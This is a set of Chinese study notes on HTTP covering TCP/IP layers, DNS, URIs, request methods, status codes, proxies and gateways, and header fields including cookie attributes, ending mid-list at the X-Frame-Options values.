HTTP学习记录
第一章 了解Web及网络基础
Web 使用一种名为 HTTP(HyperText Transfer Protocol,超文本传输协议)的协议作为规范,完成从客户端到服务器端等一系列运作流 程。而协议是指规则的约定。
网络基础 TCP/IP
通常使用的网络(包括互联网)是在 TCP/IP 协议族的基础上运作的。而 HTTP 属于它内部的一个子集。
TCP/IP的分层管理
TCP/IP 协议族里重要的一点就是分层。TCP/IP 协议族按层次分别分 为以下 4 层:应用层、传输层、网络层和数据链路层。
把 TCP/IP 层次化是有好处的。比如,如果互联网只由一个协议统 筹,某个地方需要改变设计时,就必须把所有部分整体替换掉。而分 层之后只需把变动的层替换掉即可。把各层之间的接口部分规划好之 后,每个层次内部的设计就能够自由改动了。
值得一提的是,层次化之后,设计也变得相对简单了。处于应用层上 的应用可以只考虑分派给自己的任务,而不需要弄清对方在地球上哪 个地方、对方的传输路线是怎样的、是否能确保传输送达等问题。
TCP/IP 协议族各层的作用如下。
应用层
应用层决定了向用户提供应用服务时通信的活动。
TCP/IP 协议族内预存了各类通用的应用服务。比如,FTP(File Transfer Protocol,文件传输协议)和 DNS(Domain Name System,域 名系统)服务就是其中两类。
HTTP 协议也处于该层。
传输层
传输层对上层应用层,提供处于网络连接中的两台计算机之间的数据传输。
在传输层有两个性质不同的协议:TCP(Transmission Control Protocol,传输控制协议)和 UDP(User Data Protocol,用户数据报 协议)。
网络层(又名网络互连层)
网络层用来处理在网络上流动的数据包。数据包是网络传输的最小数 据单位。该层规定了通过怎样的路径(所谓的传输路线)到达对方计 算机,并把数据包传送给对方。
与对方计算机之间通过多台计算机或网络设备进行传输时,网络层所 起的作用就是在众多的选项内选择一条传输路线。
链路层(又名数据链路层,网络接口层)
用来处理连接网络的硬件部分。包括控制操作系统、硬件的设备驱 动、NIC(Network Interface Card,网络适配器,即网卡),及光纤等 物理可见部分(还包括连接器等一切传输媒介)。硬件上的范畴均在 链路层的作用范围之内。
TCP/IP 通信传输流

利用 TCP/IP 协议族进行网络通信时,会通过分层顺序与对方进行通 信。发送端从应用层往下走,接收端则往应用层往上走。

发送端在层与层之间传输数据时,每经过一层时必定会被打上一个该 层所属的首部信息。反之,接收端在层与层传输数据时,每经过一层 时会把对应的首部消去。
这种把数据信息包装起来的做法称为封装(encapsulate)。
与 HTTP 关系密切的协议 : IP、TCP 和 DNS
负责传输的 IP 协议
按层次分,IP(Internet Protocol)网际协议位于网络层。Internet Protocol 这个名称可能听起来有点夸张,但事实正是如此,因为几乎 所有使用网络的系统都会用到 IP 协议。TCP/IP 协议族中的 IP 指的就 是网际协议,协议名称中占据了一半位置,其重要性可见一斑。可能 有人会把“IP”和“IP 地址”搞混,“IP”其实是一种协议的名称。
IP 协议的作用是把各种数据包传送给对方。而要保证确实传送到对方 那里,则需要满足各类条件。其中两个重要的条件是 IP 地址和 MAC 地址(Media Access Control Address)。
IP 地址指明了节点被分配到的地址,MAC 地址是指网卡所属的固定 地址。IP 地址可以和 MAC 地址进行配对。IP 地址可变换,但 MAC 地址基本上不会更改。
使用 ARP 协议凭借 MAC 地址进行通信
IP 间的通信依赖 MAC 地址。在网络上,通信的双方在同一局域网 (LAN)内的情况是很少的,通常是经过多台计算机和网络设备中转 才能连接到对方。而在进行中转时,会利用下一站中转设备的 MAC 地址来搜索下一个中转目标。这时,会采用 ARP 协议(Address Resolution Protocol)。ARP 是一种用以解析地址的协议,根据通信方 的 IP 地址就可以反查出对应的 MAC 地址。
这种机制称为路由选择(routing),有点像快递公司的送货过程。想 要寄快递的人,只要将自己的货物送到集散中心,就可以知道快递公 司是否肯收件发货,该快递公司的集散中心检查货物的送达地址,明 确下站该送往哪个区域的集散中心。接着,那个区域的集散中心自会 判断是否能送到对方的家中。

确保可靠性的 TCP 协议
按层次分,TCP 位于传输层,提供可靠的字节流服务。
所谓的字节流服务(Byte Stream Service)是指,为了方便传输,将大 块数据分割成以报文段(segment)为单位的数据包进行管理。而可 靠的传输服务是指,能够把数据准确可靠地传给对方。一言以蔽之, TCP 协议为了更容易传送大数据才把数据分割,而且 TCP 协议能够 确认数据最终是否送达到对方。
为了准确无误地将数据送达目标处,TCP 协议采用了三次握手 (three-way handshaking)策略。
握手过程中使用了 TCP 的标志(flag) —— SYN(synchronize) 和 ACK(acknowledgement)。
三次握手
发送端首先发送一个带 SYN 标志的数据包给对方。接收端收到后, 回传一个带有 SYN/ACK 标志的数据包以示传达确认信息。最后,发 送端再回传一个带 ACK 标志的数据包,代表“握手”结束。
若在握手过程中某个阶段莫名中断,TCP 协议会再次以相同的顺序发 送相同的数据包。

负责域解析的 DNS 服务
DNS(Domain Name System)服务是和 HTTP 协议一样位于应用层的 协议。它提供域名到 IP 地址之间的解析服务。
计算机既可以被赋予 IP 地址,也可以被赋予主机名和域名。比如 www.hackr.jp。
用户通常使用主机名或域名来访问对方的计算机,而不是直接通过 IP 地址访问。因为与 IP 地址的一组纯数字相比,用字母配合数字的表 示形式来指定计算机名更符合人类的记忆习惯。
但要让计算机去理解名称,相对而言就变得困难了。因为计算机更擅 长处理一长串数字。 为了解决上述的问题,DNS 服务应运而生。DNS 协议提供通过域名 查找 IP 地址,或逆向从 IP 地址反查域名的服务。

各种协议与 HTTP 协议的关系

URI 和 URL
与 URI(统一资源标识符)相比,我们更熟悉 URL(Uniform Resource Locator,统一资源定位符)。URL正是使用 Web 浏览器等 访问 Web 页面时需要输入的网页地址。
统一资源标识符
URI 是 Uniform Resource Identifier 的缩写。RFC2396 分别对这 3 个单 词进行了如下定义。
Uniform
规定统一的格式可方便处理多种不同类型的资源,而不用根据上下文 环境来识别资源指定的访问方式。另外,加入新增的协议方案(如 http: 或 ftp:)也更容易。
Resource
资源的定义是“可标识的任何东西”。除了文档文件、图像或服务(例 如当天的天气预报)等能够区别于其他类型的,全都可作为资源。另外,资源不仅可以是单一的,也可以是多数的集合体。
Identifier
表示可标识的对象。也称为标识符。
综上所述,URI 就是由某个协议方案表示的资源的定位标识符。协议方案是指访问资源所使用的协议类型名称。
URI 用字符串标识某一互联网资源,而 URL表示资源的地点(互联 网上所处的位置)。可见 URL是 URI 的子集。
URI格式

使用 http: 或 https: 等协议方案名获取访问资源时要指定协议类型。不 区分字母大小写,最后附一个冒号(:)。
也可使用 data: 或 javascript: 这类指定数据或脚本程序的方案名。
登录信息(认证)
指定用户名和密码作为从服务器端获取资源时必要的登录信息(身份 认证)。此项是可选项。
服务器地址
使用绝对 URI 必须指定待访问的服务器地址。地址可以是类似 hackr.jp 这种 DNS 可解析的名称,或是 192.168.1.1 这类 IPv4 地址 名,还可以是 [0:0:0:0:0:0:0:1] 这样用方括号括起来的 IPv6 地址名。
服务器端口号
指定服务器连接的网络端口号。此项也是可选项,若用户省略则自动 使用默认端口号
带层次的文件路径
指定服务器上的文件路径来定位特指的资源。这与 UNIX 系统的文件 目录结构相似。
查询字符串
针对已指定的文件路径内的资源,可以使用查询字符串传入任意参 数。此项可选。
片段标识符
使用片段标识符通常可标记出已获取资源中的子资源(文档内的某个 位置)。但在 RFC 中并没有明确规定其使用方法。该项也为可选 项。
第 2 章 简单的 HTTP 协议
HTTP 协议用于客户端和服务器端之间的通信
请求访问文本或图像等资源的一端称为客户端,而提供资源响应的一 端称为服务器端。


HTTP 协议规定,请求从客户端发出,最后服务器端响应该请求并返回。换句话说,肯定是先从客户端开始建立通信的,服务器端在没有接收到请求之前不会发送响应。

起始行开头的GET表示请求访问服务器的类型,称为方法 (method)。随后的字符串 /index.htm 指明了请求访问的资源对象, 也叫做请求 URI(request-URI)。最后的 HTTP/1.1,即 HTTP 的版本 号,用来提示客户端使用的 HTTP 协议功能。
综合来看,这段请求内容的意思是:请求访问某台 HTTP 服务器上的 /index.htm 页面资源。
请求报文是由请求方法、请求 URI、协议版本、可选的请求首部字段 和内容实体构成的。

响应报文基本上由协议版本、状态码(表示请求成功或失败的数字代 码)、用以解释状态码的原因短语、可选的响应首部字段以及实体主 体构成。

HTTP 是不保存状态的协议
HTTP 是一种不保存状态,即无状态(stateless)协议。
使用 HTTP 协议,每当有新的请求发送时,就会有对应的新响应产 生。协议本身并不保留之前一切的请求或响应报文的信息。这是为了 更快地处理大量事务,确保协议的可伸缩性,而特意把 HTTP 协议设 计成如此简单的。
HTTP/1.1 虽然是无状态协议,但为了实现期望的保持状态功能,于 是引入了 Cookie 技术。
请求 URI 定位资源
HTTP 协议使用 URI 定位互联网上的资源。正是因为 URI 的特定功 能,在互联网上任意位置的资源都能访问到。

告知服务器意图的 HTTP 方法
GET :获取资源
GET 方法用来请求访问已被 URI 识别的资源。指定的资源经服务器 端解析后返回响应内容。也就是说,如果请求的资源是文本,那就保 持原样返回;如果是像 CGI(Common Gateway Interface,通用网关接 口)那样的程序,则返回经过执行后的输出结果。

POST:传输实体主体
POST 方法用来传输实体的主体。
虽然用 GET 方法也可以传输实体的主体,但一般不用 GET 方法进行 传输,而是用 POST 方法。虽说 POST 的功能与 GET 很相似,但 POST 的主要目的并不是获取响应的主体内容。

PUT:传输文件
PUT 方法用来传输文件。就像 FTP 协议的文件上传一样,要求在请 求报文的主体中包含文件内容,然后保存到请求 URI 指定的位置。

1 响应的意思其实是请求执行成功了,但无数据返回。
HEAD:获得报文首部
HEAD 方法和 GET 方法一样,只是不返回报文主体部分。用于确认 URI 的有效性及资源更新的日期时间等。

DELETE:删除文件
DELETE 方法用来删除文件,是与 PUT 相反的方法。DELETE 方法按 请求 URI 删除指定的资源。
但是,HTTP/1.1 的 DELETE 方法本身和 PUT 方法一样不带验证机 制,所以一般的 Web 网站也不使用 DELETE 方法。

OPTIONS:询问支持的方法
OPTIONS 方法用来查询针对请求 URI 指定的资源支持的方法。

TRACE:追踪路径
TRACE 方法是让 Web 服务器端将之前的请求通信环回给客户端的方 法。

CONNECT:要求用隧道协议连接代理
CONNECT 方法要求在与代理服务器通信时建立隧道,实现用隧道协议进行 TCP 通信。主要使用 SSL(Secure Sockets Layer,安全套接 层)和 TLS(Transport Layer Security,传输层安全)协议把通信内容加密后经网络隧道传输。

使用方法下达命令
向请求 URI 指定的资源发送请求报文时,采用称为方法的命令。


持久连接节省通信量
HTTP/1.1 和一部分的 HTTP/1.0 想出了 持久连接(HTTP Persistent Connections,也称为 HTTP keep-alive 或 HTTP connection reuse)的方法。
持久连接的特点是,只要任意一端 没有明确提出断开连接,则保持 TCP 连接状态。
持久连接的好处在于减少了 TCP 连接的重复建立和断开所造成的额 外开销,减轻了服务器端的负载。
在 HTTP/1.1 中,所有的连接默认都是持久连接,但在 HTTP/1.0 内并 未标准化。虽然有一部分服务器通过非标准的手段实现了持久连接, 但服务器端不一定能够支持持久连接。
管线化
持久连接使得多数请求以管线化(pipelining)方式发送成为可能。

使用 Cookie 的状态管理
HTTP 是无状态协议,它不对之前发生过的请求和响应的状态进行管理。也就是说,无法根据之前的状态进行本次的请求处理。
保留无状态协议这个特征的同时又要解决类似的矛盾问题,于是引入 了 Cookie 技术。Cookie 技术通过在请求和响应报文中写入 Cookie 信 息来控制客户端的状态。
Cookie 会根据从服务器端发送的响应报文内的一个叫做 Set-Cookie 的 首部字段信息,通知客户端保存 Cookie。当下次客户端再往该服务器 发送请求时,客户端会自动在请求报文中加入 Cookie 值后发送出 去。



第 3 章 HTTP 报文内的 HTTP 信息
HTTP 通信过程包括从客户端发往服务器端的请求及从服务器端返回 客户端的响应。
HTTP 报文
用于 HTTP 协议交互的信息被称为 HTTP 报文。
请求端(客户端)的 HTTP 报文叫做请求报文
响应端(服务器端)的叫做响应报文。
HTTP 报文本身是由多行(用 CR+LF 作换行符)数据构成的字符串文 本。
HTTP 报文大致可分为报文首部和报文主体两块。两者由最初出现的 空行(CR+LF)来划分。通常,并不一定要有报文主体。

图:HTTP 报文的结构
请求报文及响应报文的结构
我们来看一下请求报文和响应报文的结构


编码提升传输速率
HTTP 在传输数据时可以按照数据原貌直接传输,但也可以在传输过 程中通过编码提升传输速率。
通过在传输时编码,能有效地处理大量 的访问请求。但是,编码的操作需要计算机来完成,因此会消耗更多 的 CPU 等资源。
报文主体和实体主体的差异
报文(message)
是 HTTP 通信中的基本单位,由 8 位组字节流(octet sequence, 其中 octet 为 8 个比特)组成,通过 HTTP 通信传输。
实体(entity)
作为请求或响应的有效载荷数据(补充项)被传输,其内容由实 体首部和实体主体组成。
HTTP 报文的主体用于传输请求或响应的实体主体。
通常,报文主体等于实体主体。只有当传输中进行编码操作时,实体 主体的内容发生变化,才导致它和报文主体产生差异。
通常,报文主体等于实体主体。只有当传输中进行编码操作时,实体 主体的内容发生变化,才导致它和报文主体产生差异。
压缩传输的内容编码
内容编码指明应用在实体内容上的编码格式,并保持实体信息原样压缩。内容编码后的实体由客户端接收并负责解码。

块传输编码
在 HTTP 通信过程中,请求的编码实体资源尚未全部传输完成之前, 浏览器无法显示请求页面。在传输大容量数据时,通过把数据分割成 多块,能够让浏览器逐步显示页面。
这种把实体主体分块的功能称为分块传输编码(Chunked Transfer Coding)。

使用分块传输编码的实体主体会由接收的客户端负责解码,恢复到编 码前的实体主体。
获取部分内容的范围请求
功能需要指定下载的实体范围
指定范围发送的请 求叫做范围请求(Range Request)。


针对范围请求,响应会返回状态码为 206 Partial Content 的响应报 文。
如果服务器端无法响应范围请求,则会返回状态码 200 OK 和完整的 实体内容。
第 4 章 返回结果的 HTTP 状态 码
状态码告知从服务器端返回的请求结果
状态码的职责是当客户端向服务器端发送请求时,描述返回的请求结 果。借助状态码,用户可以知道服务器端是正常处理了请求,还是出 现了错误。

2XX 成功
200 OK
表示从客户端发来的请求在服务器端被正常处理了。
204 No Content
该状态码代表服务器接收的请求已成功处理,但在返回的响应报文中 不含实体的主体部分。另外,也不允许返回任何实体的主体。比如, 当从浏览器发出请求处理后,返回 204 响应,那么浏览器显示的页面 不发生更新。
一般在只需要从客户端往服务器发送信息,而对客户端不需要发送新信息内容的情况下使用。
206 Partial Content
该状态码表示客户端进行了范围请求,而服务器成功执行了这部分的 GET 请求。响应报文中包含由 Content-Range 指定范围的实体内容。
3XX 重定向
3XX 响应结果表明浏览器需要执行某些特殊的处理以正确处理请 求。
301 Moved Permanently

永久性重定向。该状态码表示请求的资源已被分配了新的 URI,以后 应使用资源现在所指的 URI。也就是说,如果已经把资源对应的 URI 保存为书签了,这时应该按 Location 首部字段提示的 URI 重新保存。
302 Found
临时性重定向。该状态码表示请求的资源已被分配了新的 URI,希望 用户(本次)能使用新的 URI 访问。
和 301 Moved Permanently 状态码相似,但 302 状态码代表的资源不是被永久移动,只是临时性质的。
303 See Other
该状态码表示由于请求对应的资源存在着另一个 URI,应使用 GET 方法定向获取请求的资源。 303 状态码和 302 Found 状态码有着相同的功能,但 303 状态码明确 表示客户端应当采用 GET 方法获取资源,这点与 302 状态码有区别。
比如,当使用 POST 方法访问 CGI 程序,其执行后的处理结果是希望 客户端能以 GET 方法重定向到另一个 URI 上去时,返回 303 状态码。虽然 302 Found 状态码也可以实现相同的功能,但这里使用 303 状态码是最理想的。
304 Not Modified
该状态码表示客户端发送附带条件的请求 2 时,服务器端允许请求访 问资源,但未满足条件的情况。304 状态码返回时,不包含任何响应 的主体部分。304 虽然被划分在 3XX 类别中,但是和重定向没有关 系。
2 附带条件的请求是指采用 GET方法的请求报文中包含 If-Match,If-ModifiedSince,If-None-Match,If-Range,If-Unmodified-Since 中任一首部。
307 Temporary Redirect
临时重定向。该状态码与 302 Found 有着相同的含义。307 会遵照浏览器标准,不会从 POST 变成 GET。但是,对于处理响应时的行为,每种浏览器有可能出现不同的情况。
4XX 客户端错误
4XX 的响应结果表明客户端是发生错误的原因所在。
400 Bad Request
该状态码表示请求报文中存在语法错误。当错误发生时,需修改请求 的内容后再次发送请求。另外,浏览器会像 200 OK 一样对待该状态码。
401 Unauthorized

该状态码表示发送的请求需要有通过 HTTP 认证(BASIC 认证、 DIGEST 认证)的认证信息。另外若之前已进行过 1 次请求,则表示用户认证失败。 返回含有 401 的响应必须包含一个适用于被请求资源的 WWWAuthenticate 首部用以质询(challenge)用户信息。当浏览器初次接收 到 401 响应,会弹出认证用的对话窗口。
403 Forbidden
该状态码表明对请求资源的访问被服务器拒绝了。服务器端没有必要 给出拒绝的详细理由,未获得文件系统的访问授权,访问权限出现某些问题(从未授权的发 送源 IP 地址试图访问)等列举的情况都可能是发生 403 的原因。
404 Not Found
该状态码表明服务器上无法找到请求的资源。除此之外,也可以在服 务器端拒绝请求且不想说明理由时使用。
5XX 服务器错误
5XX 的响应结果表明服务器本身发生错误。
500 Internal Server Error
该状态码表明服务器端在执行请求时发生了错误。也有可能是 Web 应用存在的 bug 或某些临时的故障。
503 Service Unavailable
该状态码表明服务器暂时处于超负载或正在进行停机维护,现在无法 处理请求。
状态码和状况的不一致 不少返回的状态码响应都是错误的,但是用户可能察觉不到这点。 比如 Web 应用程序内部发生错误,状态码依然返回 200 OK,这种 情况也经常遇到。
第 5 章 与 HTTP 协作的 Web 服 务器
一台 Web 服务器可搭建多个独立域名的 Web 网站,也可作为通信路 径上的中转服务器提升传输效率。
用单台虚拟主机实现多个域名
HTTP/1.1 规范允许一台 HTTP 服务器搭建多个 Web 站点。
比如,提 供 Web 托管服务(Web Hosting Service)的供应商,可以用一台服务 器为多位客户服务,也可以以每位客户持有的域名运行各自不同的网 站。这是因为利用了虚拟主机(Virtual Host,又称虚拟服务器)的功 能。

在相同的 IP 地址下,由于虚拟主机可以寄存多个不同主机名和域名 的 Web 网站,因此在发送 HTTP 请求时,必须在 Host 首部内完整指 定主机名或域名的 URI。
通信数据转发程序 :代理、网关、隧 道
代理
代理是一种有转发功能的应用程序,它扮演了位于服务器和客户端“中间人”的角色,接收由客户端发送的请求并转发给服务器,同时 也接收服务器返回的响应并转发给客户端。

代理服务器的基本行为就是接收客户端发送的请求后转发给其他服务 器。代理不改变请求 URI,会直接发送给前方持有资源的目标服务 器。
持有资源实体的服务器被称为源服务器。从源服务器返回的响应经过 代理服务器后再传给客户端。

在 HTTP 通信过程中,可级联多台代理服务器。请求和响应的转发会 经过数台类似锁链一样连接起来的代理服务器。转发时,需要附加 Via 首部字段以标记出经过的主机信息。
代理有多种使用方法,按两种基准分类。一种是是否使用缓存,另一 种是是否会修改报文。
缓存代理
代理转发响应时,缓存代理(Caching Proxy)会预先将资源的副本 (缓存)保存在代理服务器上。
当代理再次接收到对相同资源的请求时,就可以不从源服务器那里获 取资源,而是将之前缓存的资源作为响应返回。
透明代理
转发请求或响应时,不对报文做任何加工的代理类型被称为透明代理 (Transparent Proxy)。反之,对报文内容进行加工的代理被称为非 透明代理。
网关
网关是转发其他服务器通信数据的服务器,接收从客户端发送来的请求时,它就像自己拥有资源的源服务器一样对请求进行处理。有时客 户端可能都不会察觉,自己的通信目标是一个网关。

利用网关可以由 HTTP 请求转化为其他协议通信
网关的工作机制和代理十分相似。而网关能使通信线路上的服务器提 供非 HTTP 协议服务。
利用网关能提高通信的安全性,因为可以在客户端与网关之间的通信 线路上加密以确保连接的安全。
隧道
隧道是在相隔甚远的客户端和服务器两者之间进行中转,并保持双方 通信连接的应用程序。
隧道可按要求建立起一条与其他服务器的通信线路,届时使用 SSL等加密手段进行通信。隧道的目的是确保客户端能与服务器进行安全的通信。
隧道本身不会去解析 HTTP 请求。也就是说,请求保持原样中转给之 后的服务器。隧道会在通信双方断开连接时结束。

图:通过隧道的传输,可以和远距离的服务器安全通信。隧道本 身是透明的,客户端不用在意隧道的存在
保存资源的缓存
缓存服务器是代理服务器的一种,并归类在缓存代理类型中。换句话 说,当代理转发从服务器返回的响应时,代理服务器将会保存一份资 源的副本。

缓存服务器的优势在于利用缓存可避免多次从源服务器转发资源。因 此客户端可就近从缓存服务器上获取资源,而源服务器也不必多次处 理相同的请求了。
缓存的有效期限

第 6 章 HTTP 首部

HTTP 协议的请求和响应报文中必定包含 HTTP 首部。首部内容为客 户端和服务器分别处理请求和响应提供所需要的信息。


在报文众多的字段当中,HTTP 首部字段包含的信息最为丰富。首部 字段同时存在于请求和响应报文内,并涵盖 HTTP 报文相关的内容信 息。
HTTP 首部字段
HTTP 首部字段是构成 HTTP 报文的要素之一。在客户端与服务器之 间以 HTTP 协议进行通信的过程中,无论是请求还是响应都会使用首 部字段,它能起到传递额外重要信息的作用。
使用首部字段是为了给浏览器和服务器提供报文主体大小、所使用的 语言、认证信息等内容。
HTTP 首部字段结构
HTTP 首部字段是由首部字段名和字段值构成的,中间用冒号“:” 分 隔。
首部字段名: 字段值
4 种 HTTP 首部字段类型

HTTP/1.1 首部字段一览

请求首部字段



HTTP/1.1 通用首部字段
Cache-Control
通过指定首部字段 Cache-Control 的指令,就能操作缓存的工作机 制。


Connection
Connection 首部字段具备如下两个作用。
- 控制不再转发给代理的首部字段
- 管理持久连接


Date
首部字段 Date 表明创建 HTTP 报文的日期和时间。
Trailer
首部字段 Trailer 会事先说明在报文主体后记录了哪些首部字段。该 首部字段可应用在 HTTP/1.1 版本分块传输编码时。
Transfer-Encoding
首部字段 Transfer-Encoding 规定了传输报文主体时采用的编码方式。 HTTP/1.1 的传输编码方式仅对分块传输编码有效。
Upgrade
首部字段 Upgrade 用于检测 HTTP 协议及其他协议是否可使用更高的 版本进行通信,其参数值可以用来指定一个完全不同的通信协议。

Via
使用首部字段 Via 是为了追踪客户端与服务器之间的请求和响应报文 的传输路径。
报文经过代理或网关时,会先在首部字段 Via 中附加该服务器的信 息,然后再进行转发。这个做法和 traceroute 及电子邮件的 Received 首部的工作机制很类似。
首部字段 Via 不仅用于追踪报文的转发,还可避免请求回环的发生。 所以必须在经过代理时附加该首部字段内容。Via 首部是为了追踪传输路径,所以经常会和 TRACE 方法一起使 用。

Warning

请求首部字段
请求首部字段是从客户端往服务器端发送请求报文中所使用的字段, 用于补充请求的附加信息、客户端信息、对响应内容相关的优先级等 内容。
Accept
Accept 首部字段可通知服务器,用户代理能够处理的媒体类型及媒体 类型的相对优先级。可使用 type/subtype 这种形式,一次指定多种媒 体类型。

Accept-Encoding
Accept-Encoding 首部字段用来告知服务器用户代理支持的内容编码及 内容编码的优先级顺序。

Accept-Language
首部字段 Accept-Language 用来告知服务器用户代理能够处理的自然 语言集(指中文或英文等),以及自然语言集的相对优先级。
Authorization
首部字段 Authorization 是用来告知服务器,用户代理的认证信息(证 书值)。
Expect
客户端使用首部字段 Expect 来告知服务器,期望出现的某种特定行 为。
From
首部字段 From 用来告知服务器使用用户代理的用户的电子邮件地 址。
Host
首部字段 Host 会告知服务器,请求的资源所处的互联网主机名和端 口号。Host 首部字段在 HTTP/1.1 规范内是唯一一个必须被包含在请 求内的首部字段。
If-Match
形如 If-xxx 这种样式的请求首部字段,都可称为条件请求。服务器接 收到附带条件的请求后,只有判断指定条件为真时,才会执行请求。

If-Modified-Since
首部字段 If-Modified-Since,属附带条件之一,它会告知服务器若 IfModified-Since 字段值早于资源的更新时间,则希望能处理该请求。
If-None-Match
首部字段 If-None-Match 属于附带条件之一。它和首部字段 If-Match 作用相反。用于指定 If-None-Match 字段值的实体标记(ETag)值与 请求资源的 ETag 不一致时,它就告知服务器处理该请求。
If-Range
首部字段 If-Range 属于附带条件之一。它告知服务器若指定的 IfRange 字段值(ETag 值或者时间)和请求资源的 ETag 值或时间相一 致时,则作为范围请求处理。反之,则返回全体资源。

下面我们思考一下不使用首部字段 If-Range 发送请求的情况。服务器 端的资源如果更新,那客户端持有资源中的一部分也会随之无效,当 然,范围请求作为前提是无效的。这时,服务器会暂且以状态码 412 Precondition Failed 作为响应返回,其目的是催促客户端再次发送请 求。这样一来,与使用首部字段 If-Range 比起来,就需要花费两倍的 功夫。
If-Unmodified-Since
首部字段 If-Unmodified-Since 和首部字段 If-Modified-Since 的作用相 反。它的作用的是告知服务器,指定的请求资源只有在字段值内指定 的日期时间之后,未发生更新的情况下,才能处理请求。如果在指定 日期时间后发生了更新,则以状态码 412 Precondition Failed 作为响应 返回。
Max-Forwards
通过 TRACE 方法或 OPTIONS 方法,发送包含首部字段 MaxForwards 的请求时,该字段以十进制整数形式指定可经过的服务器最 大数目。
Proxy-Authorization
接收到从代理服务器发来的认证质询时,客户端会发送包含首部字段 Proxy-Authorization 的请求,以告知服务器认证所需要的信息。
Range
对于只需获取部分资源的范围请求,包含首部字段 Range 即可告知服 务器资源的指定范围。
Referer
首部字段 Referer 会告知服务器请求的原始资源的 URI。

响应首部字段
响应首部字段是由服务器端向客户端返回响应报文中所使用的字段, 用于补充响应的附加信息、服务器信息,以及对客户端的附加要求等 信息。
Accept-Ranges
首部字段 Accept-Ranges 是用来告知客户端服务器是否能处理范围请 求,以指定获取服务器端某个部分的资源。可指定的字段值有两种,可处理范围请求时指定其为 bytes,反之则 指定其为 none。
Age
首部字段 Age 能告知客户端,源服务器在多久前创建了响应。字段值 的单位为秒。
若创建该响应的服务器是缓存服务器,Age 值是指缓存后的响应再次 发起认证到认证完成的时间值。代理创建响应时必须加上首部字段 Age。
ETag
首部字段 ETag 能告知客户端实体标识。它是一种可将资源以字符串 形式做唯一性标识的方式。服务器会为每份资源分配对应的 ETag 值。

当资源更新时,ETag 值也需要更新。生成 ETag 值时,并没有 统一的算法规则,而仅仅是由服务器来分配。
强 ETag 值和弱 Tag 值
强 ETag 值
强 ETag 值,不论实体发生多么细微的变化都会改变其值。ETag: “usagi-1234”
弱 ETag 值
弱 ETag 值只用于提示资源是否相同。只有资源发生了根本改变,产 生差异时才会改变 ETag 值。这时,会在字段值最开始处附加 W/。ETag: W/“usagi-1234”
Location
使用首部字段 Location 可以将响应接收方引导至某个与请求 URI 位置 不同的资源。
基本上,该字段会配合 3xx :Redirection 的响应,提供重定向的 URI。 几乎所有的浏览器在接收到包含首部字段 Location 的响应后,都会强 制性地尝试对已提示的重定向资源的访问。
Proxy-Authenticate
Proxy-Authenticate: Basic realm=“Usagidesign Auth”
首部字段 Proxy-Authenticate 会把由代理服务器所要求的认证信息发送 给客户端。
它与客户端和服务器之间的 HTTP 访问认证的行为相似,不同之处在 于其认证行为是在客户端与代理之间进行的。而客户端与服务器之间 进行认证时,首部字段 WWW-Authorization 有着相同的作用。
Retry-After
首部字段 Retry-After 告知客户端应该在多久之后再次发送请求。
Server
首部字段 Server 告知客户端当前服务器上安装的 HTTP 服务器应用程 序的信息。
Vary

图:当代理服务器接收到带有 Vary 首部字段指定获取资源的请求 时,如果使用的 Accept-Language 字段的值相同,那么就直接从缓 存返回响应。反之,则需要先从源服务器端获取资源后才能作为响应返回
首部字段 Vary 可对缓存进行控制。源服务器会向代理服务器传达关 于本地缓存使用方法的命令。
WWW-Authenticate
WWW-Authenticate: Basic realm=“Usagidesign Auth”
首部字段 WWW-Authenticate 用于 HTTP 访问认证。
实体首部字段
实体首部字段是包含在请求报文和响应报文中的实体部分所使用的首 部,用于补充内容的更新时间等与实体相关的信息。
Allow
首部字段 Allow 用于通知客户端能够支持 Request-URI 指定资源的所 有 HTTP 方法。当服务器接收到不支持的 HTTP 方法时,会以状态码 405 Method Not Allowed 作为响应返回。
Content-Encoding
首部字段 Content-Encoding 会告知客户端服务器对实体的主体部分选 用的内容编码方式。
Content-Language
首部字段 Content-Language 会告知客户端,实体主体使用的自然语言 (指中文或英文等语言)。
Content-Length
首部字段 Content-Length 表明了实体主体部分的大小(单位是字 节)。对实体主体进行内容编码传输时,不能再使用 Content-Length 首部字段。
Content-Location
首部字段 Content-Location 给出与报文主体部分相对应的 URI。
Content-MD5
首部字段 Content-MD5 是一串由 MD5 算法生成的值,其目的在于检 查报文主体在传输过程中是否保持完整,以及确认传输到达。
Content-Range
针对范围请求,返回响应时使用的首部字段 Content-Range,能告知客 户端作为响应返回的实体的哪个部分符合范围请求。字段值以字节为 单位,表示当前发送部分及整个实体大小。
Content-Type
首部字段 Content-Type 说明了实体主体内对象的媒体类型。和首部字 段 Accept 一样,字段值用 type/subtype 形式赋值。
Expires
首部字段 Expires 会将资源失效的日期告知客户端。
Last-Modified
首部字段 Last-Modified 指明资源最终修改的时间。
为 Cookie 服务的首部字段
Cookie 的工作机制是用户识别及状态管理。
调用 Cookie 时,由于可校验 Cookie 的有效期,以及发送方的域、路 径、协议等信息,所以正规发布的 Cookie 内的数据不会因来自其他 Web 站点和攻击者的攻击而泄露。

Set-Cookie
Set-Cookie: status=enable; expires=Tue, 05 Jul 2011 07:26:31
当服务器准备开始管理客户端的状态时,会事先告知各种信息。

expires 属性
Cookie 的 expires 属性指定浏览器可发送 Cookie 的有效期。
一旦 Cookie 从服务器端发送至客户端,服务器端就不存在可 以显式删除 Cookie 的方法。但可通过覆盖已过期的 Cookie,实现对 客户端 Cookie 的实质性删除操作。
path 属性
Cookie 的 path 属性可用于限制指定 Cookie 的发送范围的文件目录。
domain 属性
通过 Cookie 的 domain 属性指定的域名可做到与结尾匹配一致
因此,除了针对具体指定的多个域名发送 Cookie 之 外,不指定 domain 属性显得更安全。
secure 属性
Cookie 的 secure 属性用于限制 Web 页面仅在 HTTPS 安全连接时,才 可以发送 Cookie。
Set-Cookie: name=value; secure
当省略 secure 属性时,不论 HTTP 还是 HTTPS,都会对 Cookie 进行 回收。
HttpOnly 属性
Cookie 的 HttpOnly 属性是 Cookie 的扩展功能,它使 JavaScript 脚本 无法获得 Cookie。
Set-Cookie: name=value; HttpOnly
其他首部字段
HTTP 首部字段是可以自行扩展的。所以在 Web 服务器和浏览器的应 用上,会出现各种非标准的首部字段。
X-Frame-Options
X-Frame-Options: DENY
首部字段 X-Frame-Options 属于 HTTP 响应首部,用于控制网站内容 在其他 Web 网站的 Frame 标签内的显示问题。其主要目的是为了防 止点击劫持(clickjacking)攻击。
首部字段 X-Frame-Options 有以下两个可指定的字段值。
- DENY :拒绝
